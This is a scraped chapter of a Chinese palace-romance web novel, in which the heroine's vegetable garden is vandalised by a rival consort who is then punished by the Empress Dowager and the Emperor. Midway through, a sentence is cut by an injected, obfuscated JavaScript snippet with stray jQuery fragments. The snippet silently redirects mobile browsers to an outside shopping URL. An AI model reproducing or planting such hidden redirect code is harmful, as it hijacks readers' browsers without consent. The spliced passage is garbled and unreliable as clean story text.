文趣网 > 其他小说 > 吃货娘娘后宫种田(美食) > 24. 美人变罪人
    雨过天晴,万里无云。

    苏令仪心情大好地起床,下了一整夜的雨,院子里应该如新洗的一般,越发干净透亮、生机勃勃。

    她快速穿好鞋袜,满怀期待地来到院中,尚未来得及深吸一口新鲜空气,就被院中的景象震得愣住。

    苏令仪是阅历丰厚的人,寻常小事难以让她有这般反应,除非是有人动了她最在意的东西。

    有贼人动了她的院子!

    小院儿原本收拾得规规整整,此刻却像一汪被狂风吹皱的池水,变得乱七八糟、泥泞不堪。

    鱼塘里被扔进泥巴,池水变得浑浊,塘中两条大鲤鱼被人捞出来,晾在岸上,白肚朝天,已经没了呼吸。

    凉亭下的石桌凳上被胡乱糊上泥巴,到处乱七八糟的印子,再不复昨日的干净。

    青石砖小路、鸡圈、墙上都被扔上了泥,显得小院比翻毛鸡还乱。

    菜地被霍霍得最严重,三种蔬菜全被拔光,随手扔在地上,和泥土混在一起,昨日还生机勃勃的菜叶,已然没了生机。

    水缸和腌菜缸的木盖也被掀了,灌进雨水,不管是饮用水还是腌菜,全报废。

    向日葵因为长在墙下,又生得矮小,不太起眼,侥幸避过了一难。

    月季苗也是极为幸运,可能因为靠近主殿,贼人怕惊醒了主人,没有贸然祸害。

    最万幸的是,昨晚苏令仪把小兔子和小鸡崽收到了屋里,没受到丝毫伤害,否则不敢想,院子是不是已经更是遍野了,若是让思宁知道,那小丫头会哭得有多伤心?

    苏令仪的脸一点一点冷下来,穿来之后,脸上还从来没露出过这种表情。

    杏儿和曲平来到院中,看清眼前的景象,双双诧异地瞪大眼睛。

    杏儿极为震惊地问:“这究竟是怎么回事?”

    屈平一脸阴沉,这小院说是他的手笔也不为过,被人祸害成这样,怎么可能不生气?

    “这鸟贼人下手可真狠啊!”

    杏儿愤愤:“究竟是谁干的?”

    她嘴上这么问,目光却瞥向春雨殿的方向。

    宫里和主子过节最大的就是那位,昨日交锋,于才人知道了主子如今喜爱这些,这是专门毁人最在意的东西啊!

    曲平在院子中查看,昨日的雨不小,地上到处是杂乱无章的脚印,他仔细寻找蛛丝马迹,最终在西墙上发现了一片半干的新脚印。

    “贼人是从这里出去的,俺去查看一番。”

    他出了宫门,一盏茶功夫就回来了,脚印从拙饮轩的东墙翻出去后,在狭长的通道上留下一点痕迹,最终进了春雨殿的宫门。

    大雨冲刷一整夜,这些脚印几乎被清洗干净,还好曲平够心细,硬是发现了顺着雨水流的泥痕迹。

    他回到拙饮轩,低声说:“是于才人。”

    苏令仪早就猜到了,如此低劣的手段,这么明显的目的,还留下明晃晃的罪证,除了于才人那个猪脑子,还会有谁?

    身为拙饮轩的首领太监,曲平此刻心中很是愧疚,垂着头道:“请主子降罪,守护拙饮轩原是俺的责任,是俺失职了,竟让贼人大摇大摆地在院子里捣乱。”

    苏令仪并没有怪谁的意思,拙饮轩没什么值钱物件,人又少,她本就没安排值夜,谁会想到于才人会行如此荒唐之事。

    “不是你的错。”

    杏儿搀着苏令仪在廊下坐下,又端来一杯热茶,希望主子能热乎乎地喝下去,这里的一草一木都是主子的心血,花了一个多月时间悉心培养出来的,尤其这片菜地,可是主子日日盯着才长这么好,眼看到了丰收的季节,却被人一把毁了,不知道主子会得多伤心呢。

    苏令仪啜了口茶,并未说话。

    “才人,您别伤心,奴婢和曲平会尽快把院子恢复原样。”

    伤心?这个词在苏令仪的字典里就不存在,上辈子就懂得,遇到事儿伤心是没用的,原主不就是因为遇事只会伤心而不反击,所以落了个心郁难解的下场吗?

    杏儿有些着急,自打主子病愈后,还从未像这般不言不语。

    她气愤道:“这于才人真是心狠手辣,先前不让尚膳监给主子送膳食,如今又来坏咱们的院子,咱们跟她究竟有什么仇什么怨?!”

    苏令仪抬起头:“你说,是于才人不让尚膳监给拙饮轩送饭的?”

    杏儿自知说漏嘴,连忙捂上嘴巴。

    这是她在尚膳监恰巧偷听到的,并未告诉主子,当时主子的病症沉疴,担心主子知道后病势加重,如今日子过得蒸蒸日上,尚膳监也换了孟女官当监正,便觉得没有再提起的必要。

    苏令仪全知道了,为何上辈子死后,会穿到同名同姓的苏选氏身上,原来是因为苏选侍已然病故,而病故的原因,除了心欲难解更多是连饭都吃不上。

    罪魁祸首就是于才人,是于才人害死了原身。

    原先,她还觉得于才人只是个兴风作浪的小丑,蠢笨,欺软怕硬,懒得出手收拾罢了,现在看来,这人竟是杀人凶手。

    她原本打算鸡鸭鹅狗的过完这辈子,借身重活一场,那便为原身再操一次刀吧。

    “曲平。”

    曲平忠心大狗似的上前:“主子,俺在。”

    “你把池塘重新换上干净水源,石桌凳、地上墙上和鸡圈矮墙的泥印都擦干净,篱笆重新扶正,半日之内我要看到院子恢复原样。”

    “不用才人吩咐,这都是俺份内的事。”

    “杏儿。”

    杏儿忙道:“才人请吩咐。”

    “你把地上的韭菜、菠菜和紫苏仔细淘洗,将泥土去干净,留待做菜。”

    这些菜虽然被拔掉了,但还很新鲜水灵,只要把泥土洗干净,仍然是上好的食材。

    紫苏叶被老嬷嬷下了定银,顾主要求日日来摘新鲜的,如今却没有新鲜叶子给人摘了,这事有点难办,还需从长计议。

    苏令仪正思索着,突然听见杏儿和食客说话的声音。

    “今儿没腌菜卖,腌菜缸被贼人祸害了。”

    “还能有谁,从前谁和主子有过节,就是她干的呗。”

    “谁说不是,看不得我家主子过得好,就玩阴的,真不要脸。”

    “劳驾明儿再来买吧。”

    有食客上门买腌菜,可腌菜缸都泡水了,哪还有腌菜卖,杏儿只得跟人家这样说,心里带着气,跟每个问起来的食客暗示贼人是哪个宫的。

    来买吃食的人不住往春雨殿的方向瞧,这于才人还真是够缺德的,背后使阴招,干的都是什么上不得台面的事啊。

    “主子,三、三白来了。”

    杏儿婉拒了不少食客,直到看见三白。

    普通食客她能应付自如,可三白是个大买主,御前的人,气场又强,不知为何她总有些害怕。

    三白来买凉拌三丝,她说明情况后,三白没有立刻离开,反倒在院子里打量起来,还直言要见苏才人。

    杏儿知道主子现在心情不好,可能不想见人,但她实在不敢和三白过多对话,便小声叫苏令仪。

    上次三白帮忙摘榆钱,应当是个不错的人,说不定和主子说说话,主子也能宽慰一些。

    苏令仪回过神,见来人丰神俊朗,在杂乱泥泞的小院里显得越发衣冠楚楚,哪怕只穿着最普通的太监服。

    “杏儿没说吗,今儿没吃食卖。”

    李穆不接话,只说:“最近乾清宫事务多,我有好几日没得空过来。”

    苏令仪其实不记得三白最近一次来是什么时候,她每日都有许多事要干,许多食客要见,不可能人人都记得这么清楚,当然,三白的脸想让人记不清也难。

    她是真不记得了,有些茫然问:“好几日了吗?”

    李穆对这个回答似乎并不满意,语气比方才生硬了些许:“整整五日了。”

    苏令仪心里想着事,连对方语气变化也没听出来:“你瞧我这院子变成这样,哪还有精力操心别的。”

    李穆刚才就看到了,拙饮轩是满宫最悠然的地方,乍一变成这样,他的眉头也皱了起来。

    “可知道是谁做的?”

    “知道。”苏令仪往春雨殿的方向看一眼。

    李穆了然,同时有些生气,这于才人刚解禁足,就这般不安分,料定苏才人好欺负就敢背着朕胡作非为吗?

    “出了这种事,怎么不去找皇上做主?”

    他也不知道自己怎么想的,现在还不想在苏令仪面前暴露身份,否则热乎乎的美食就吃不到了,可心里最隐秘的地方,又希望苏才人能去求见,若她去求,他定当做主。

    苏令仪笑了:“皇上日理万机,岂会因为这等小事为我做主?”

    李穆神情复杂,身为后宫女人的夫君,这话很扎心,但身为君王,又是无奈的事实。

    他想分辨什么,却一句话也说不出来。

    苏令仪已经下了逐客令:“今儿事忙,你先回去,要买吃食等晚几日再来。”

    李穆刚下早朝,一会儿还要和大臣议事,这会儿是早膳时间,抽着空来的,不能多留,再逗留该误事了。

    他脚步顿了顿,目光看向杂乱的池塘和岸上的死鱼,道:“好,等我下次来,给你带几尾金色鲤鱼。”

    苏令仪点头:“多谢。”

    李穆走后,杏儿把紫苏叶洗出来了。

    苏令仪把最新鲜、成熟、完整的紫苏叶挑出来,留待老嬷嬷今日来取。

    又另外捡了些鲜嫩的小叶子,预备做紫苏肉锅盔,剩余的紫苏叶则全做成凉拌菜,作为买腌菜的赠品送给宫人。

    紫苏锅盔可以用干叶泡发,也可以直接用鲜叶,苏令仪选择了一种麻烦但口味更佳的做法,用干叶。

    有了吊炉,其实这种做法也不算麻烦,新鲜的紫苏叶在吊炉里慢烤,将水分烤干,等再出来时,青紫色的新鲜紫苏就成了几乎没有水分的黄褐色干叶。

    干叶在水中泡发,苏令仪又去和面,和面如今是最拿手的步骤之一,看着面粉一点点被揉成光洁的面团,心中的不快也逐渐平复下来。

    今天的突发事件,她心中已有应对,那就没有必要再心情不佳,当一切尽在掌握中时,人便不会焦虑、抑郁,只有等待结果的轻松。

    接着便是炒肉馅儿,猪肉馅儿是现成的,满满一大盆,原本今日是要做韭菜猪肉的饺子,如今分出来一些肉馅儿做锅盔量也是足够的。

    肉馅儿在锅里翻炒,肥瘦相间的五花肉煸出很多猪油,香味非常之盛,再加上足足量的调料,和紫苏叶一同调味、上色,最后倒进去少量水,小火收汁,等锅中酱汁浓郁时,锅盔馅儿也就炒好了。

    做锅盔其实不难,和做馅饼是一样的,只需要把肉馅儿塞进面皮儿中,再擀成薄薄的饼状就可以下油锅煎了。

    面皮在油锅中逐渐变得两面焦黄,裹慢酱汁的紫苏肉馅儿在里面若隐若现,趁表面油汪汪的时候,撒上白芝麻,就可以出锅了。

    苏令仪煎的锅盔非常薄,几乎可以称为“纸皮”,两张锅盔之间要垫上油纸,才能防止相互粘连而破皮儿。

    等锅盔全部做好时,苏令仪的心情也已经变得十分愉悦。

    她一共做了五个,取出刚出锅的那个,用刀切下六分之一,拿油纸仔仔细细包好,最后放进食盒。

    “杏儿,来。”苏令仪把食盒交到杏儿手里,“把这吃食送到乾清宫。”

    杏儿吓了一跳,主子经常做饭,除了奉命做过一次御膳,何曾主动把吃食送到过乾清宫?

    这、这是要开始争宠吗?

    杏儿打开食盒一看,微微一愣:“才人,怎么就送这么小一块儿?”

    锅盔本就薄,一人吃一大张也不会撑肚皮,这么一小块根本不够一个成年男人吃饱。

    “这就不少了。”苏令仪神秘一笑,“怎么能让皇上一次吃个够呢?”

    杏儿虽然不理解,但还是照做了。

    这会儿正是皇上用早膳的时间,趁着锅盔还是热的,她得赶紧把东西送到了乾清宫,说不定皇上还能吃上一口热乎的。

    杏儿到了乾清宫,把食盒交给宫门口的小银子,按照苏令仪教的话术嘱咐说:“我家主子自知厨艺不佳,只做了一小块请皇上品鉴,若是皇上吃得好,主子便再做。”

    小银子脸上笑呵呵的,旁的娘娘经常给皇上送参汤啊百合粥啊,这苏才人宫里的,还是头一次来。

    “行,苏才人有心,奴才一定交给皇上。”

    等他打开食盒一看,一张笑脸瞬间垮了:“怎么才这么点儿?”

    杏儿也觉得脸上挂不住,想到主子的嘱托,强撑着说:“不是说了吗?主子唯恐厨艺不佳,先让皇上尝尝再定夺呀。”

    也、也有一定道理。

    小银子一头黑线,试了毒,无事后便送了进去。

    李穆早膳只用了碗银耳粥,其他膳食一概没动。

    一是因为他早上一直心心念念着苏令仪做的酱香饼,对其他膳食无甚食欲,二是从卓隐轩回来,时辰已经不早了,还要更衣,和大臣商议要事。

    徐言正在伺候更衣时,小银子捧着鎏金膳盘从外面进来。

    李穆已经说过不用早膳,见小银子又捧着膳盆进来,不耐道:“朕不是说了不用早膳吗?”

    小银子连忙跪下:“这是拙饮轩的苏才人差人送来的,苏才人厨艺不错……”

    李穆都要大步流星离开了,听见“苏才人”三个字脚下一顿,拙饮轩不是刚遭了贼吗?苏令仪说今日事忙,怎么还有时间做御膳?

    难不成是想向皇上邀宠,以此来状告于才人?

    这样也好,总算是一种自保的手段,总比自己受委屈强。

    但苏令仪几句话打发了三白,却花时间给皇上做膳食,虽然都是他自个儿,但李穆心里还是有些隐隐不快。

    “那便尝尝。”

    小银子忙奉上。

    李穆定眼一瞧,嗬!偌大的盘中,竟然只有一小块食物,都要把他气笑了,这个苏才人真好意思拿得出手,生怕给多了,做赔本买卖是吧?

    锅盔是刚出锅就送来的,杏儿腿脚快,小银子试毒也没耽搁,食物虽不至于热气腾腾,至少还热乎着。

    李穆也不用筷子,不拘小节地用手拿起来就往嘴里送。

    锅盔表面金黄,咬上一口,咔嚓一声轻响,端的是又薄又酥,肉馅儿已经和油皮儿融为一体,酥脆中带着肉馅儿和芝麻的香气,这样的煎饼原本有些油腻,但苏才人心思巧,加了紫苏叶,妙就妙在紫苏的清香很好的调和了味道,不仅不腻口,还清香十足。

    可惜的是,这一小块儿锅盔对李穆来说还不够塞牙缝的,两口就吃完了。

    食欲才刚刚被勾起来,正是想大快朵颐的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664572|205487||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时候,盘中却空空如也,像极了早上苏才人的逐客令,干脆利落,不留情面。

    李穆:“……”

    小银子试着问:“皇上吃着如何?要不要奴才去拙饮轩通传一声,让苏才人做些紫苏锅盔当午膳?”

    李穆赶着出去,只留下一个字:“做。”

    与此同时,春雨殿的于才人正得意洋洋。

    宫中的太监来报,说昨日夜里夜黑风高、大雨滂沱,卓逸轩的小院儿被弄得乌烟瘴气,菜地尽毁,处处泥泞。

    于才人越听越畅快,可算出了口恶气。

    饶是这样还不够,还得继续烧把火,让苏令仪像从前一样狼狈,彻底没有爬起来的希望。

    先前她去找皇上告苏令仪的状,反而让对手得了晋升,还把自己和伍德串通的事不小心抖搂出来,反被降位。

    这回学聪明了,不去找皇上告状,更不去找皇后,要找就找宫里权利最高的女人——皇太后。

    皇太后可是皇上的母后,说一不二,若是得知苏令仪在宫中做的那些出格的事,下旨责罚,皇上想护都护不住。

    说去就去,于才人当即起身,往慈宁宫方向去了。

    慈宁宫里,刘太后刚用完早膳。

    今日的早晨是海参鸡蛋羹,配着酸萝卜吃的,海参和鸡蛋本就是滋味寡淡的食物,幸而有酸萝卜点缀,成了唯一的点睛之笔,吃起来不仅酸辣开胃,还滋味十足、异常爽口。

    刘太后早膳用了不少,正餍足地靠在软椅上歇息。

    康嬷嬷端来饭后消食的茶点,笑说:“太后,紫苏水奴婢已经熬出来了,您记得喝,奴婢这就去拙饮轩,再摘些新鲜的紫苏叶来。”

    刘太后点头,端起紫苏水慢慢地喝起来,神情满足:“这水喝起来有股淡淡的清香,可比苦得倒口的汤药好多了。”

    “是呢。”康嬷嬷附和道,“苏才人种出来的紫苏水灵,品种也好。”

    她还没来得及走,先听见宫女通传,说于才人求见。

    太后通常是不见嫔妃的,尤其是才人这种低等嫔妃,但她这两日膳食吃得好,连带着心情也好,尤其这会儿刚用完早膳,通体正舒坦着,有个晚辈来说话逗趣儿也不错。

    “让她进来吧。”

    康嬷嬷将人领进来,于才人规规矩矩在地上磕头请安,而后被赐了顶小圆凳,和喝一杯清茶。

    于才人端起十足十的笑容:“臣妾得知太后在慈宁宫闲来无事,特意捡了宫中的趣事儿来讲给太后听。”

    太后也正是这个意思:“你且讲吧。”

    虞美人便说了:“臣妾隔壁住着位苏才人,说来也是性子古怪,放着尚膳监好好的饭菜不用,日日自己动手做饭,这也就罢了,她还在院子里自己种菜、养鸡,听说养了十来只小鸡呢,这以后倒好,小鸡长成大公鸡,天不亮就喔喔喔地叫,臣妾在隔壁,可是睡不成懒觉了。”

    刘太后笑了笑:“竟然还养鸡。”

    “还不止呢。”于才人趁热打铁,“苏才人自己做腌菜,把做好的腌菜卖给宫人,拙饮轩每日宫人络绎不绝,热闹的堪比宫外市集。”

    刘太后还真当笑话在听,她最近很喜欢旁人说起拙饮轩的趣事,宫人们拿话本子换购腌菜、给苏才人讲笑话就能得小菜当赠品……还都挺有意思。

    于才人见太后神色慈祥,还以为自己讲的事情生动有趣,继续说:“可是宫中嫔妃怎么能如此胡作非为?臣妾住在拙饮轩隔壁,实在不能不替皇家周全连绵,于是便派人把她院子里菜拔去。”

    刘太后神情未变,只问:“你说你把苏才人的菜地拔了?”

    于才人点点头,睁着一双天真的双眼:“是啊,满宫里上到皇后娘娘,下到臣妾,哪个后妃会自己种菜啊。”

    “谁给你的权利。”刘太后语气冷了几分,“皇上和皇后都不在吗?轮到你来管教嫔妃?”

    于才人意识到不对,瑟缩了下脑袋,小声说:“臣妾、臣妾刚好住得近……”

    刘太后摩挲着茶盏不说话。

    康嬷嬷追问:“那紫苏叶子也拔了?”

    于才人根本分不清什么是紫苏,什么是韭菜,邀功似的说:“臣妾派去的太监说菜地全毁了,想来紫苏也全拔了。”

    康嬷嬷急的音调都抬高了:“那可是满宫最后一点上好的紫苏。”

    整个皇宫都寻遍了,终于在拙饮轩找到了比以往都好的紫苏,交了定银不算,太后用来治病的水怎么办?

    这才人简直命犯太岁,动了最不该动的东西。

    茶盏“啪”得一声搁在桌案上,刘太后怒极反笑:“于才人,你可真是干了件好事儿。”

    又转而对康嬷嬷说:“扶菊,你去卓隐轩看看那苏紫苏叶还在不在,若是真如于才人所言,就传哀家的懿旨,于才人禁足春雨殿,无召不得外出。”

    于才人……于才人瘫坐在地上,不懂自己究竟做错了何事。

    乾清宫正殿的议事,一议就是一上午,一直到太阳移到正头顶,宫门才算打开了。

    李牧早上本就没怎么用膳,又高强度工作一上午,此刻只觉腹中空空,想急于传午膳。

    突然又想起早上苏令仪送来的紫苏锅盔,便问徐延:“苏才人的膳食送来了吗?”

    徐延摇头:“拙饮轩并未有人前来送膳。”

    李穆啧了一声,苏令仪真是皇上玩儿呢,究竟还想不想要恩宠报仇了?

    正在这时,小银子进来,叩首说:“禀皇上,苏才人派身边的宫女来报,说原本是要给皇上做锅盔的,可院子里种的紫苏被贼人拔了个干净,无奈,无法再做紫苏锅盔了,请皇上降罪。”

    李穆听完突然就笑了下,好个苏才人,原来使的是这一招。

    他佯装诧异,问:“宫里哪里来的贼人,敢在后宫胡作非为。”

    “苏才人身边的宫女说,发现贼人的脚印通向,春雨殿。”

    徐延和小银子都知道春雨殿住的是于才人,忍不住为她默哀,这于才人要倒大霉了。

    后宫嫔妃之间多有矛盾,那也只是水下的暗涌,闹不到明面上来,便谁也不会被责罚,可苏才人早上刚给皇上送了紫苏锅盔,言明午膳再做,偏偏于才人这个时候把拙饮轩紫苏拔了,这不是把暗涌往明面上推吗?

    耽误了皇上的膳食,还是为了一点私怨,于才人有几个脑袋?

    李穆突然问:“甘肃官员调令选了吗?”

    徐延虽是宫里的太监,在政务上也不是一窍不通,尤其甘肃守备于大人是虞美人的生父,波及后宫,他知道一些也在情理之中。

    “回皇上,礼部的调令已经下来了,新任官员即刻能走马上任。”

    李穆当即提笔蘸墨:“传旨,甘肃守备于元邱为政绩不明、为官不仁,革职查办,新任守备汪睿即刻接任;于才人降为选侍,幽居春雨殿。”

    正在这时,又有太监想进来回话,徐延看手势,还是件较为重要的事,于是亲自到门口去听。

    回来时说:“禀皇上,太后在动了怒。”

    徐延皱了皱眉:“为何。”

    徐延便把小太监带来的消息一五一十说了。

    原来于才人、于选侍不仅耽误了他的午膳,还毁了太后的用药。

    “不必幽居春雨殿了,迁去冷宫。”李穆想了想,又说,“至于春雨殿,便赏给苏才人玩吧。”